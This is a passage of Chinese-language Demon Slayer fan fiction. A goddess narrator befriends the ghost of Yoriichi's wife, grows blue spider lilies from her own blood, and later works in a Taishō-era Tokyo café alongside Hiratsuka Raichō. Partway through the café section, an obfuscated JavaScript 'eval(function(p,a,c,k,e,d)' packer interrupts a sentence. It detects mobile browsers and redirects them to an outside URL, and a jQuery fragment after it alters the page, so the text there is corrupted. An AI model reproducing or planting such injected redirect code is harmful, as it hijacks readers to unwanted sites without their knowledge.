“哇!”叫“诗”的女孩子惊讶地说,“竟然可以吃到糖吗?好幸福!我从小都没吃过那种东西,只是听说过而已,但是有种草的杆子咬开的话也是甜甜的呢。” “战国那么惨吗?”我顿时有点同情她,“我的老师也是那时候的人,倒是没说起过这些,不过他本来也不太爱说话。” “哈哈,你果然是狐狸变的小姐!要不怎么会拜我们那时候的人当师父嘛!要说不爱说话,我家那个笨蛋才是真的不爱说话,连打雷都不见他有反应,最开始我还以为他是地藏什么的变的呢,后来过了好久才知道他只是性子比较沉闷而已,其实是个很温柔的人呢,连林子里的狸猫和小鸟都很喜欢他。” 名叫“诗”的姑娘托着腮,眼睛亮晶晶的,看起来完全不像个已经死了四百年的幽灵。可能是实在寂寞,我莫名对这姑娘产生了一丝好感,于是笑道: “听起来好可爱啊,你们是怎么认识的?” “这个可就说来话长了。哎,你不会嫌我烦吧!我都四百年没跟人说过话了,简直要闷死了!以前我可是个很爱说话的人呢,现在都快变成木头桩子啦!” 我被她逗的前仰后合,“哈哈哈,不会不会,其实我也很爱跟人说话的,不过没有我认识的某个家伙那么能说。你说吧,反正我闲着也是闲着,陪你聊聊天也不错。” “小时候家里人全死在瘟疫里了,我实在寂寞的不行,就去田里捞蝌蚪,捞来捞去,总觉得让它们和家人分开很可怜。正不知道该怎么办的时候,有个男孩子问我在干什么,和他说了以后,那孩子就说‘那我跟你一起回家好了’,然后就真的跟我一起回家啦。” 这姑娘实在活泼的很,竟然就这么热情洋溢地跟我聊了起来。 “一开始他什么都不会干,连插秧苗和找野果子这种小事都要我教,不过他力气倒是挺大,所以砍柴就从来不用我费力啦,过了十年,我们就成亲了。” “那个笨蛋看起来不爱笑也不爱说话,其实是个很悠然自得的人呢,但有时也很让人火大,一次锅都烧干了,房子差点着火,那个笨蛋居然在院子里吹笛子!关键时候完全指望不上他呢。” “这样的男人最让人头疼了。”我忍不住插嘴,“什么都要你操心,关键时刻永远会出岔子,能把你气到想揍他,但只要看见他的脸就没办法再生气。唉,你怎么也这么倒霉啊。” “是啊是啊,”女孩抱怨道,“那天我都要生孩子了,叫他去请个接生婆,就这么点小事,那个笨蛋早上出了门,竟然到天黑都没回来,我死了以后他可抱着我的尸体坐在地上愣了十天,我在旁边怎么喊他都没用,拜托,我差点以为他要饿死自己啊!好容易来了个武士一样的人,劝他把我埋了,我才入土为安的。哎,我都不知道我死了以后那种笨蛋一个人是怎么活下去的!” “什么人啊,好过分!”我目瞪口呆地说,“哪有把要生的妻子一个人丢在家里这么久的?结果你这是…难产?” “那倒不是。我是被一种叫‘鬼’的怪物给杀了的…” “……鬼?”我皱眉,“你确定吗?” “也是后来听那个武士说的啦,”女孩子郁闷地说,“当时天太黑,我什么也没看清就已经死了,只记得那个怪物身上全是血腥味,像是野兽什么的,但肯定不是熊。” 我默默地看了她一眼。 森林里的动物一般都会努力隐藏自己的气息,哪怕沾了血也会尽量弄干净。但鬼身上的血腥气…我比谁都熟悉。 那是亡者的怨念所积累的味道。这也是鬼容易被人类发现的原因。 “对不起。”我认真地对她说,“鬼是一种…不吃人就没法活下去的生物,就像狼群一样,鬼之间时刻都在竞争,如果不吃人就会变弱,就会被其他鬼吃掉。我个人很同情你的遭遇,有没有什么我能帮你的?” “没关系啦,我都死了四百年了,早就没有怨恨了。”女孩子大大咧咧地笑道,“等那个笨蛋回来我就和他一起去转世就好了,下辈子再给他多生几个孩子,叫他忙的团团转,哈哈!狐狸小姐你呢?我小时候听过狐狸娶亲的故事哦。” “我不是狐狸啦,其实是个神灵。” “神灵?”女孩子恍然大悟道,“我说你怎么能看得见我,哎,我是不是该跪拜一下什么的…” “那种事完全没必要啦,我离开了两百年,连神社都塌了,我也不想再被人类供奉,所以这样就很好。” “所以神灵小姐也有喜欢的人吗?刚刚好像听你说起来着。” “有,而且也是个…完全指望不上的笨蛋呢。” 我摸了摸身边的扇子,微笑道。 “这么惨?”女孩子一脸同情,“你们也是从小一起长大的吗?” “是小时候就认识,但没能一起长大…如果一起长大的话,大概他就不会变成后来的样子吧。” “我是八岁时遇见他的,是个特别聪明又善良的孩子。我在路边被人打,是他站出来救了我,后来我们就在一起玩了几天,那孩子长得特别好看,书也读的多,无论做什么都很出色,所以我那时就喜欢他了…不过后来他要回自己家去,我们就约定来年在江户城再见。”我叹了口气,“结果第二年我死了,成了神灵,他家里也出了事,就把我们的约定忘掉了。” “哎?怎么这样?”诗义愤填膺地说,“居然会忘掉,说明他没有在意你嘛!” “怎么说呢,他脑子有点问题,不太容易体会别人的心情,自己也感觉不到寂寞或者害怕。但其实是个温柔的孩子,懂得安慰人,也会努力去帮助别人。”我轻声说,“后来过了很长时间我们才又见面,他变成了完全不同的另一个人,根本想不起来我是谁了,但我一点也不怪他,因为知道他只是看过太多痛苦的事,封闭了自己的心灵。” “他…没有爸爸妈妈吗?”女孩问道,“还是也死掉了?” “他的爸爸妈妈不爱他,或者说,他们爱的是他们眼中的‘神’,而不是那个孩子本身。他们弄了个奇怪的宗教,把他当作摇钱树,当作攀附权贵的工具。”我叹息道,“就算这样,他刚满八岁,妈妈就当着他的面杀了爸爸,然后自杀了。” “啊…这也太可怜了…” 诗的大眼睛里盈满了泪水。 “这样不是很寂寞吗?那么小的孩子没了家人该怎么活下去呢?” “是啊…我也想知道,他是怎么活下来的。他没有朋友,每天还要安慰很多人。小时候他妈妈甚至不许他吃糖,说怕吃坏了牙齿,笑起来就不好看了。”我微笑,“不过他笑起来的样子是真的很可爱,特别天真。” “不过你这么喜欢他,为什么和他分开了呀?”女孩有点严肃地说,“喜欢一个人,一定要努力陪在他身边哦。” “啊,因为一些不得已的原因,”我尴尬地说,“我不小心又死掉了一次。” “哎哎?你也太没用了吧!你又不是人类,为什么还会死掉啊!” “没办法啊,不那样做的话,就救不了他。” 我低下头,抱紧了膝盖,“本来觉得自己消失了也没关系,因为他不会在意的,只要他能幸福地活下去就好了,我只是这么想的而已。” “这是什么傻话!”女孩子跳了起来,生气地大声说,“我告诉你,那种笨蛋自己就是不行,就像风筝一样,没人牵着线,就不知道要飘到哪里去了!你就不担心吗?那种人连饿死自己都有可能呢!” “饿死倒不会啦,他还挺能吃的,但确实食物中毒过…” “你看看,我就说嘛!”她叹了口气,“男人真是靠不住啊!” “是啊,男人真是靠不住啊…”我也叹了口气。 我就这么在这名叫“诗”的少女的坟墓旁住了下来,每天太阳落了山,我们就一起躺在她坟前的草地上,边看星星边聊天。就这么过了十多天。 “这个世界上有些人就是很奇怪的。”女孩有天说,“我家那个笨蛋就是,跟他在一起很久之后,我才知道他看什么东西都是透明的,你说奇怪不?” “透明的?”我觉得哪里有点不对劲,“什么叫透明的?” “就是能看见骨头和内脏,还有血管什么的。是不是很神奇?” 我吓的一下子坐了起来。 “我能问问…你家那个笨蛋…叫什么名字吗?” 女孩惊讶地看着我,“怎么啦?他叫缘一,你认识他吗?” 我捂住了脸。 这是什么要命的因果报应啊。 “……不认识,只是听说他是很有名气的斩鬼剑士。” “不会吧,那个笨蛋还真跑去杀鬼了…”诗喃喃道,“真是个笨蛋啊…” “应该是对你的死无法释怀吧。”我低声说,“他在杀鬼的人中间很有名的,教会了很多人杀鬼的办法。不过听说后来他哥哥也变成了鬼,所以…” “……我没想让他变成这样。” 女孩用衣袖遮住了眼睛,但我看到有透明的眼泪顺着脸颊滑落下来。 “那个笨蛋一定很痛苦吧…明明是个心软的人,不喜欢打架,连刀都不愿意拿,叫他杀条鱼都费劲呢…他哥哥是他唯一的亲人了,是他最珍重的人…他该怎么办啊…” ——我的兄长变成了鬼,我的妻儿被鬼所杀,我最终没能保护他们任何一个人…我只是个一无是处的男人罢了。 想起黑死牟大人,和那名剑士寂寞的背影,我不由得一阵心酸。 每个人活着都有不为人知的痛苦和难处,人和人倘若站在对立的地方,就谁也没办法看到对方的痛苦。 “抱歉,我不该跟你说这些。” “我不怪你,我也不知道这事该怪谁。”诗放下遮住眼睛的手,抽了抽鼻子,“鬼也很可怜,我知道冬天的时候熊会伤人,因为找不到吃的,但人也只能杀死熊。大家都只是为了活着而已。” 她哽咽道:“但是,死去的人,其实更希望活着的人能好好活下去啊…” 我望着夜空中的繁星,它们像是神明的眼睛,俯视着人间,无悲无喜。 只要是有感情的生命,都会有幸福和心碎的时刻,这是无可避免的事,却也是生命的一部分。 毕竟,即便是神明之子,也会向往人世的温暖啊。 “不说我的事了,你以后就打算住在山里了吗?” “我想再回神社看看,”我说,“因为在那里留下了很多难忘的记忆,有点舍不得就这么放弃。” “不要气馁嘛,也许你喜欢的人也在等你呢。”女孩的幽灵一本正经地说,“我之前可是等了四百年呢,神灵小姐不会还不如我这个人类有耐心吧?” “什么话嘛,我之前也等了两百年好不好?不过…我不知道他在哪里,也不确定他是不是还记得我。”我叹了口气,揪了根草棍叼在嘴里,“但我会努力的。明天我就出发回神社去了,但还会回来看你的,话说你真的不需要供奉吗?” “喂,你这是故意的对不对?我是幽灵,又不是神灵,就算供奉我也吃不到,看着干着急。” “也是…那你要不要跟我一起去东京看看?我应该有办法把你带去。” “你替我去吧,如果有好吃的糖什么的,就替我多吃一点。”女孩子的 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“不行,你这坟看着实在太寒酸了,等我一下。虽然不剩什么神灵之力了,不过这点事还是能做的。” 我跑到结冰的小溪边捧起一捧水,迅速跑了回来。 轻轻划破指尖,我把自己的血掺了一点进水里,边做边向她解释道:“以前我靠纯粹的灵力就能使用这个法术,不过现在灵力还没恢复,只能先这样了。幸好这边是荒川的源头,水的力量很充沛。” 接着我捧起那些水,念了一句: “沧龙·万物甦生。” 清澈的水在我手中化作细密的水雾,撒向诗那小小的坟墓。 “等等看,我很少玩这个,很漂亮哦。”我炫耀道。 头顶飞过一只乌鸦。 “会发生什么?”诗期待地问。 “你等等看嘛。” 头顶飞过两只乌鸦。 “到底会发生什么呀?”诗兴奋地说,“快点告诉我嘛。” “…等等看嘛!” 头顶飞过三只乌鸦。 “好像没什么反应啊,神灵小姐,你这法术不灵嘛。” “不可能!我可是山林草木之神,之前在地狱里……” 坟上被冰雪覆盖的地方忽然动了一下,一簇绿色的幼苗从土壤中生长出来,看起来细细弱弱,就像普通的草。 “来了来了,”我高兴地说,“我就说不要急嘛。” 更多细小的绿草钻出了地面,它们在冬日的寒冷里迎风生长,抽出枝条,翠绿的如同一棵棵微型的竹子。 “哇,真的长出来了,这是笔头草吗?炒蛋很好吃哦。”女孩惊讶地说。 “…什么笔头草?我怎么会种那种没品味的东西!”我皱眉道,“按理说应该是附近开花的植物,难道是法术出了什么问题?” 那些细细的、竹子似的草遇到阳光,忽然发出轻微的噼啪声,从中间裂开,抽出细高的花茎,在花茎的尽头,长出了手指大小的长形花苞。 我得意地宣告:“看好,马上要开花了哦!” 第一朵花在阳光里啪的绽放。 紧接着是第二朵,第三朵… 很快,几十朵拥有纤长花瓣的花,在云取山冬末的冰雪上,在阳光下盛放。 ”这是…从来没有见过的花呢。”诗愣愣地说,“好像石蒜的花,可为什么是青蓝色的?” “是啊…为什么…是青蓝色的?” 我也愣在了原地,耳畔清清楚楚地听到了命运之轮开始转动的轰然巨响。 那似乎是个遥远的传说。 一种从未有人见过的花,被一位不知名的医师写在了药方里,献给一位平安时代的、体弱多病的贵公子。 贵公子没有耐心等待药效发挥作用,就杀了那位医师,但在那之后,他的身体一天天恢复,获得了超出常人的力量,但同时也变的畏惧阳光,且渴望人的血肉。 于是终其千年的生命,他都在寻找那种能让他变的完美、能行走在阳光下的花。 那是他的希望。 也是那千年来行于暗夜的一族,所有人期待的、不可触碰的黎明。 青色…彼岸花。 那些花在我面前绽放,在阳光中摇曳,像是神明赐予的救赎。 我跪在了地上,在这骤然降临的光明里放声大哭。 原来是这样,原来是这样啊… 人类的血无法承载鬼血的力量,人才会变成鬼。 但神灵之血不同,神灵本身是纯粹的、信念强大的的存在,无法被转化成鬼,但并非对鬼血没有任何反应,完美融合了鬼血的神灵之血,加上水神的净化之力,化生了这种可以作为鬼之解药的、青色的彼岸花。 它千年未现,只是因为,没有哪个神灵会甘于接受鬼血对自身的染污,更没有哪个神灵会成为鬼的眷属。 但我愿意,我喜欢他,想让他得到他从未得到过的幸福。 好像回到了那天,在死灵地狱那间小房子的院子里,为了逗他开心,我第一次用这个法术开出一院子花的那一天。 那只鬼坐在檐廊下,像孩子一样睁大了眼睛。 ——这是送我的吗?小染送给我的? 那一刻,他漂亮的、冰晶似的眼睛里,亮起了我从未见过的微光。 ——我很喜欢呢。 ——小染的礼物,我很喜欢呢。 在我们都还是人类时,就注定了这样的羁绊。即便命运将我们分离,这种羁绊依然深入灵魂,从来不曾褪色。 就像那朵鲜血刻印的红莲,依然在我的左腕上盛放一样。 那位伪装成医师的阴阳师,在药方中写下的,只是一个关于“未来”的预言而已。 我们谁也无法改变过去,但我们能够创造未来。 “我决定了,”我擦了擦眼泪,站起身来,“要拼尽全力的活着。只要两人都活在世上,就一定有重逢的那天。” 我一定会看到,你重新站在阳光下的笑颜。 87. 终章:花(4) 一个月后,东京,银座。 “四号桌的熏火腿三明治和咖喱饭好了没?” “来啦来啦!” “荒川小姐,老板叫你!” “请他稍等一下,我帮客人点完餐马上过去!” 我拿起菜单,面带熟练的微笑,朝那穿着洋服的一家人走去。 对,我现在是这所名叫“罗斯林咖啡·洋食屋”的咖啡馆的女招待——荒川染。 这要说到一个月前,我刚回到人类世界时闹出的一件尴尬事。 那天晚上我依然沿着城里的商店街闲逛,忽然发现路边有家店的橱窗里出现了一样久违的东西。 “樱花团子!” 我立刻认出了那魂牵梦萦的点心,于是激动不已地冲进了店里。 “请,请给我一个这个。” “您真是太有眼光了,这是本店的招牌,有百年历史的江户名品哦。” 店里的小哥用花纹精致的油纸包好团子,微笑着说。 “谢谢惠顾,一共十钱。” “诶?” 我才想起那件最重要的事—— 买东西,是要花钱的。 我也不知道其他神灵是怎么做的,也许他们不会像我一样眼馋人类的点心?总之,在店员小哥怀疑的目光里,我红着脸落荒而逃。 我,一个神灵,没钱。 但这难不倒在地狱里捡过破烂的我,况且连无惨大人那种个性奇葩的鬼都能混迹于人类世界这么久,我为什么不能? 于是凭直觉在路边的店里选了一家,我推门走了进去。 空气中弥漫着那种叫做“咖啡”的东西的香味,铺着带花边的桌布的长桌上,放着我从来没见过的西洋果子。 嚯,店主竟然是个金发碧眼的洋人。 我鼓起勇气说道: “请问,你们招…女侍吗?” 过了一个月,我当时那神奇的用词依然是全店的笑料之一,尤其我的洋人老板,提起来这事就笑的极为夸张。 “上帝保佑,荒川小姐,我当时还以为你是从将军的房子里来的。” “那个不叫‘将军的房子’,叫‘大奥’。”我一本正经地纠正他。 “是,是。”他用半生不熟的日语说,“你一定来自大奥,哦,我的店里来了一位高贵的女士。” 我对西洋人的玩笑话已经慢慢适应了,于是理直气壮地说:“谢谢夸奖,至少我的字写的还算漂亮,对吧?” 店里的菜单和外面的招牌是我手写的,拿老板的话说,这样既有西洋风格,又有和风的招牌,附近“大学”里的先生小姐们很喜欢。 “罗斯林是什么?你母亲的名字吗?” 写好招牌的那天,我问老板。 “那是我家乡一座小教堂的名字。”老板说,“是一座非常美丽的小教堂,像荒川小姐你一样美丽。” 洋人老板的名字叫保罗,来自遥远的英吉利国,一个叫爱丁堡的地方。 我第一次知道,大海的那一边,还有其他的国家,其他的神明。 我也第一次知道,西洋的一切正在迅速涌入这个国家,城里的人们流行穿洋装,吃洋食,坐着铛铛响的电车上工和下工。 哦不对,那叫上班和下班。 我需要一个地方,帮我快速了解当下的世界和时代,咖啡馆真是再合适不过了。 每天来往的客人里,有老板的洋人朋友,他们或是在使馆工作,或是远道而来,希望在这个陌生但开放的东方国家发一笔财;有附近大学的教师和学生,他们往往因为内阁选举和出兵西伯利亚的事吵成一团;也有全家来这里吃东西的普通职员,还有城里打扮入时的小姐太太们,她们一般是刚从“帝剧”看完戏出来,拎着从三越百货买的大包小包的东西,跑来吃个英式下午茶。 我边点餐送餐做三明治烤司康,边倾听他们的“心音”——就像人类的身体在继国缘一面前是透明的一样,人类的思想在神灵面前也是透明的,稍微集中注意力就能读取到很多讯息。这样时间长了,很多东西就可以无师自通了,比如这个时代的语言用词、衣食住行、吃喝玩乐,社会上最热门的话题。带来的附加好处是我能贴心的记住很多常客偏好的食物口味和评价,导致客人们都格外喜欢我。 喜欢我是应该的,我可是个神灵啊。结果我老板说他捡了只招财猫,非要让我学着记账和做咖啡。 我不喜欢咖啡的味道,那苦涩的香味让我想起在地狱里和无惨大人斗智斗勇的每一天,让我想起某个我思念的人。 “荒川小姐,你看起来和这个国家的大多数女性不一样。”有次保罗老板说。 “是吗?怎么个不一样?”我好奇地问。 “你更像我们国家的女性,我是说,个性方面。你谈吐优雅大方,从不畏惧男人,也不会担心结婚的问题…就像伊丽莎白女王,你知道她是谁吗? 西洋人可真会夸人。 “你直接说我嫁不出去不就得了嘛…” “哈哈,这难道不是你们大和女性最害怕的事吗?” 我默默翻了个白眼。 “谁说女人一定要结婚的?世界这么大,做点什么不行?” 在地狱里蹲了两百年、见了太多生生死死的我,只想抓住这来之不易的每一天,用心体会“活着”这件事。 虽然世道依旧混乱,普通人依旧活的艰难,但毕竟,这已经不是那个武士横行霸道、女孩子会被作为祭品丢进河里的时代了。 第一个月的工钱,我拿来买了一辆两轮车,对,就是人类称为“自行车”的东西。 因为懒得再沿着屋顶跑来跑去,更重要的是春天来了,从荒川神社的山上骑车子到店里,一路就像乘风飞翔,能看到无数好风景。 冬天过去,樱花开了,虽然不是江户城的樱花,而是东京的樱花,但荒川之畔,吉宗将军时种下的那些樱树的后代们依然欣欣向荣。城里的街上开始飘起樱吹雪的时候,路边的店里依然会售卖樱饼、樱花团子和花见团子,人们会携家带口地前往河边和上野公园赏樱。周末店里休息,我就带上三明治和司康,骑车去河边晒太阳。 活着真幸福啊。 虽然不吃东西也不会饿,但人类的食物在这两百年里确实发生了翻天覆地的变化,用了大量牛乳制作的洋果子味道比和果子更好,作为舶来品的伯爵红茶也别有一番风味,我不介意一一品尝。 和服不好骑车,我又一时接受不了那些紧贴在身上的洋装,于是学着女学生的样子换上了袴和皮鞋,很快发现了这么穿的好处和坏处。 好处是方便行动,不论出入什么地方都不用再规规矩矩,坏处是总能引来无数闲人搭茬。 保罗老板说话做事带着洋人特有的爽朗,也不要求我一定要像其他咖啡馆的女招待那样穿着奇怪的围裙——叫做“女仆装”的衣服。所以我就穿得像个女学生似的在店里进进出出,常被不熟的客人当作是附近女子学校来打工的学生。 “太不像话了,不知道是哪家的女孩子这么疯,竟然还在上学就出来工作。” “这年纪不是该去相亲吗?长得这么漂亮,可惜了。” 有时也会听到有客人如此窃窃私语,不过我并不在意,因为我的老师说过,即使是女子,也不该被等闲视之。 况且我还是个神灵。 保罗老板热衷收集大和的艺术品,收到什么好东西就叫上几个朋友来店里鉴赏。有次我看到他们几个人围着几张浮世绘啧啧赞叹,就凑过去扫了一眼。 “里面只有一张是真的,老板你被人骗了哦。” “荒川小姐也懂骨董的事吗?”西洋人饶有兴致地说,“为什么说是假的?” 我当然不能告诉他以前江户城的摊子上常见这东西,又不值什么钱…而且古代的东西自带着一种时间累积的气息,是仿品模仿不来的。 “这是铃木春信的画吧?锦绘的颜色有点不对,纸也不是当时的和纸,下面那张倒是真的,那些亮闪闪的是云母粉,江户画这个的都喜欢用。” “上帝,你真是个神奇的姑娘,荒川小姐,你是怎么知道这些的?” 我只好说:“我祖上是武家的贵族,后来败落了,不过小时候家里还有这种东西,所以见的不少,纯粹是感觉啦。” 人类到底为什么喜欢收集过去的旧物件,对于活了几百年的我来说,依然是个谜。 不过洋人老板去典当行找人鉴别了一番,结果确实跟我说的一样。这下他开了窍,要收什么之前都拖着我去看,非要我这个“将军家来的小姐”给品评上几句。 我特别想告诉他将军家不是那么容易进出的,即便现在,老的江户城也是皇居所在。我等平民百姓,可不敢装成华族招摇撞骗。 不过西洋人显然热衷于此。有次在卖了一只延享年的盘子后,我老板赚了一大笔钱,就说要请我去吃steakhouse。 “那是什么?”我好奇的问。 “牛排,呃,就是牛的肋骨肉。”洋人不可思议地看着我,“你没有吃过吗?” “耕牛是不能吃的,因为要种田用…”我愣住了,“现在的人真是什么都敢吃啊…” “哈哈哈,荒川小姐,有时候我真的怀疑你到底是从将军家来的,还是来自哪座偏远的山里,吃牛肉可是你们的天皇陛下亲自示范了的。” 我才知道明治以后,牛肉就不再是禁忌了,只不过普通人家吃不起而已。 不过第一次用刀叉吃东西,还是差点把盘子里好好的肉戳飞。 洋人老板笑的连红酒都喷了。我却着迷于动物肉类加上黑椒酱汁的神奇味道。 “说实话,荒川小姐,你今年多大?” “啊?十,十八岁…”我厚着脸皮说。 “十八岁…这么年轻,不该在咖啡店里浪费你的人生。” 洋人老板忽然严肃了起来。 “我知道你们大和的女性被家里管束很严格,早早就会嫁人生孩子,但在我的国家,女人也可以抛头露面,去经商、去从政,成为艺术家和作家…我有位女性朋友为此做了一本杂志,那是一位和你一样聪慧勇敢的大和女性,也许下次你们可以聊聊。” 于是在保罗的引荐下,我在店里见到了那位叫平冢明子的夫人。 是一位长相端庄的夫人,三十岁左右,看起来温和而沉静。 “荒川小姐,这位就是大名鼎鼎的雷鸟夫人,我以前是她的英文老师。”保罗老板介绍道,“雷鸟夫人,这位荒川小姐对骨董很有些见地,也是我见过的最聪明的姑娘了,也许有能帮上你的地方。“ “幸会,雷鸟只是我的法号,叫我明子就好。”那位夫人微笑着伸过手,和我行了一个西洋式的握手礼。 明子夫人送给我一本她创刊的杂志,那是一本薄薄的小册子,泛黄的封面上写着《青鞜》二字。 “青鞜?这是什么意思?” “是‘蓝袜子’的意思哦。在西历的1750年,也就是咱们的江户时代,在英吉利的一个沙龙里,一群女人定下以这个作为自我觉醒的标志。”那位夫人笑着说,“你可能听不懂,不过没关系,只要记住,女性不需要依靠别人才能生存,我们也是独立的人,有资格骄傲的活在世上。” “那个时候…国外已经有这种说法了吗?” 世界真的好大啊。 我翻开杂志的第一页,上面写着一行字: ——元初,女性是太阳,是真正的人。 “说的真好啊…”我喃喃道。 “不过已经被迫停刊了,因为那些男人们不想让我们懂这些。”那位夫人平静地说,“我在筹备另一本刊物,听保罗说你的字写的很好,人也很聪明,你愿意帮我誊抄一些稿子吗?” “当然可以呀!”我笑道,“能与您这样的夫人结识是我的荣幸。老板,我可以晚上下工后在店里做这件事吗?电费从我的工钱里扣就可以。” “不,不,荒川小姐,你需要做的是多帮我看几张画。”我的西洋老板笑的特别大度。 反正我不用睡觉,晚上闲着也是闲着。 春天过去,很快到了夏天。 窗外的大雨下个不停,这天明子夫人正巧来店里跟人谈事情,一直待到晚上,看雨也没有要停的意思,我便拿了两把洋伞,主动提出送她回家。 “其实我母亲的娘家是纪州藩主家的御医,所以我多少也算沾点武家血统,小时候父亲说就是因为这个,我才跟别的女孩子不一样。” 路上她笑着说道。 “母亲一生被禁锢于家庭。父亲虽然是明治政府的官员,却禁止我学英文,说什么‘女人不需要学那种东西’,我偏不信,就偷偷自学,后来考了女子大学。结果出了那件事后,学校把我开除了,父亲也就不再认我这个女儿了。” “能冒昧的问一句,是什么样的事吗?”我惊讶道,“您看起来非常了不起啊,学校为什么要开除您?” 她扑哧一下笑了。 “保罗说你像是从大奥里来的,我还不信…那件事之前闹的满城风雨,你居然不知道吗?” “抱歉,我也是从别的地方来这里不久,所以不曾听闻…” “当然是我跟男人殉情未遂的事啦。” “殉…殉情?”我哑口无言地看着她,“您怎么会做出这种傻事呢?“ “那时年轻嘛。”她倒是毫无愧色,“被男人两句话就哄的晕头转向,一开始听他扯些文学什么的,还以为是同伴,结果也不过是想骗你上床罢了。荒川小姐,你还年轻,你这个年纪的女孩子肯定都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252364|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想谈恋爱,但作为过来人,我劝你不要在恋爱上浪费太多时间,一定要多读书,多去看看这个世界,要知道世界远不是我们眼前这一小块天地。” “我其实…不太可能会恋爱啦。” “怎么,父母不逼你相亲吗?”明子惊讶地问。 “我很久以前就没有父母了。”我看着远处街道上来来往往的人力车和行人说道,“也不会有亲人和孩子。但我有个喜欢的人,他在很远的地方,我愿意等着他。” “有多远?西伯利亚?“ “哈哈哈哈哈!比那个可能还要远吧。”我忍不住笑了起来,“不过您还是结婚了吧?听说已经有两个可爱的孩子了?” “嗯,因为遇到了对的人嘛,虽然他当时只是个画画的穷学生,也没有正式结婚,但我不后悔。”明子夫人说,“虽然养孩子真的让人很苦恼呢……但我始终相信,时代变了,是我们女人选择男人,而不是让男人来选择我们。” “说的有道理啊。”我轻轻呼了口气,“时代真的变了呢。” 说话间有几个人影挡在了我们面前,那是几名穿着和服的男人,为首的叼着洋烟,斜着眼睛说: “你就是平冢雷鸟那婊子?整天在报纸上发些莫名其妙的话,真是笑死人了。身为女人不乖乖待在家里伺候丈夫,散布这些危险的言论,你他妈给我当心一点。” “你们是什么人?我要叫警察了!”明子夫人厉声道。 “哈哈,你以为我会怕吗?哟,这里还有个漂亮的女学生?”男人朝我伸出手来,“长的真不赖嘛…” 一分钟后,我重新撑开手里的洋伞,对明子夫人笑道:“我要纠正刚才的话,时代变了,人可没怎么变,无论什么时候都有对女孩子动手动脚的蠢货。” 她脸色有点白,勉强点了点头。 “荒川小姐…你这是…学过剑道?我第一次见到用洋伞也能把人打成这样的…” 地上横七竖八躺了一地人,基本都失去了意识,间或哼哼两声。 “跟您说了,我家以前是武家出身,加上我的老师是个剑道高手。”我微笑,“我们走吧,以后只要需要,我就送您回家。” 快走到她家门口时,明子夫人忽然说道: “其实你可以去大学里旁听试试看。” “诶?大学?那种地方……” “去听听吧,文学或者哲学,感觉都适合你,我当时就是总去文学系旁听。”她笑道,“不知道为什么,总觉得荒川小姐不是普通的女孩子呢,对了,可以让保罗教你英文,我会跟他讲的。” 我久久地凝视着这普通的人类女子,心中第一次生出了对人类的钦佩之情。 “明子小姐…我有一件事想要请教您。” “请说。” “世间万物…究竟有什么区别?比如人类和动物,或是男人和女人,大和的人和洋人…或是,其他的存在和人类,我们的生命,存在区别吗?” 她摇了摇头,“这么深奥的问题,我无法回答你,荒川小姐。” “但是,这让我想起我有一次在寺院参加禅修时,师父提的一个问题。” “那个问题是,父母未生你前,你的本来面目是什么?” “父母未生前的…本来面目…吗?” 是啊,在我们作为人类,或是作为其他的生命来到这个世上之前,我们又是怎样的存在呢? 在我们被世间的种种爱恨情仇所染污、被冠以种种与血统、与种族、与身份有关的名称之前,我们又是作为谁而存在呢? “是…空无的存在,对吗?”我小心地说。 “我当时也是如此回答的,但这个问题,我想人类历史上所有的思想者,都有不同的答案,需要自己去体会。” 明子夫人微笑道,“去看看更大的世界吧,荒川小姐,只有不断地向前走,人才能明白‘自我’究竟是什么。” 就这样,在咖啡馆工作之余,我开始了在女子大学做旁听生的日子。 那是一个完全不同的世界,属于一群我完全不认识的人。 陌生,但非常有趣,我听着老师和学生们谈论一个叫“莎士比亚”的洋人和他写的故事,听他们讲起大洋彼岸的世界,那种感觉令我震撼不已。 我开始能够体会到无惨大人的心情,想起他桌上那一本本厚重的洋文书,也许时刻都在蔑视着人类的无惨大人,也曾经好奇过大海那边的世界吧。 没能履行对他的承诺,真是有点愧疚。 很快我也学会了半生不熟的英文,和保罗老板的日语一样糟糕。因为不能经常在店里工作,我不好意思再要他给的工钱,而是改成每次帮他鉴别过一样骨董,在他卖出后抽成的方式。 钱不多,但足够我买洋果子和新衣服。 就这样秋天也过去了,天气渐渐变冷了,终于有一天下起连绵的秋雨来,之后枫叶红了,再之后枫叶落了,天上开始飘雪。 又一个冬天来了。 鬼杀队的气息似乎从世间彻底消失了。我将青色彼岸花种在了神社的废墟里,但马上发现这种花需要大量荒川的水浇灌才能绽放,否则看起来就跟路边的野草没任何区别,甚至很快就会枯萎。我又没那么多灵力一天到晚给它们浇水,只能暂时留下了种子,不再管那些花。 转眼过了新年,已经是大正七年。 一天我发现神社门口被人插了块木牌,大意是无主荒地,请勿入内,政府即将收回云云。 急急忙忙地找到了町奉行…不,现在是叫市政府的地方,被客气地索要地契。 我哪来的地契那种东西? “明治之后,原先属于幕府的土地都被收归国有,建成了公园之类的,像上野公园就是。”宗务课的接待人礼貌地解释道,“荒川附近即将兴建一座游乐园,可能将您说的神社也圈定了进去,但如果土地是私人财产,我们这里会有登记。” “可,可是…” 我第一次有点不知道怎么办才好。 我还是巫女时,荒川神社是由柳生氏修缮和供养的,两百年过去,连幕府都垮台了,根本不会存在什么神社的所有人。 原来神灵也会有这么窘迫的时候。 “当然,因为是无主的荒地,如果您在政府收回前买下,就算是您的私有土地。” “这个…大概多少钱呢?“ “我看看…大约是五千元。” ……我一个月的收入能有五十就不错了… 嗯,这下真要无家可归了。 *平冢雷鸟,1886年(明治19年)2月10日-1971年(昭和46年)5月24日),日本的思想家,评论家,作家,女权主义者。战前和战后女性解放运动,妇女运动的领导人,后期也关心和平运动,本名平冢明子。 88. 终章:花(5) 这个冬天在不安中结束了,咖啡馆附近的大学放了假,店里客人不多,我就也和老板请了假,想多花些时间待在神社里。 虽然它已经称不上是什么神社。 不论作为人类还是作为神灵,我都在荒川神社中留下了太多无法割舍的记忆,但接下来的日子,它却不能陪伴我了。 能够陪伴我的东西,已经全都不在这个世上了。 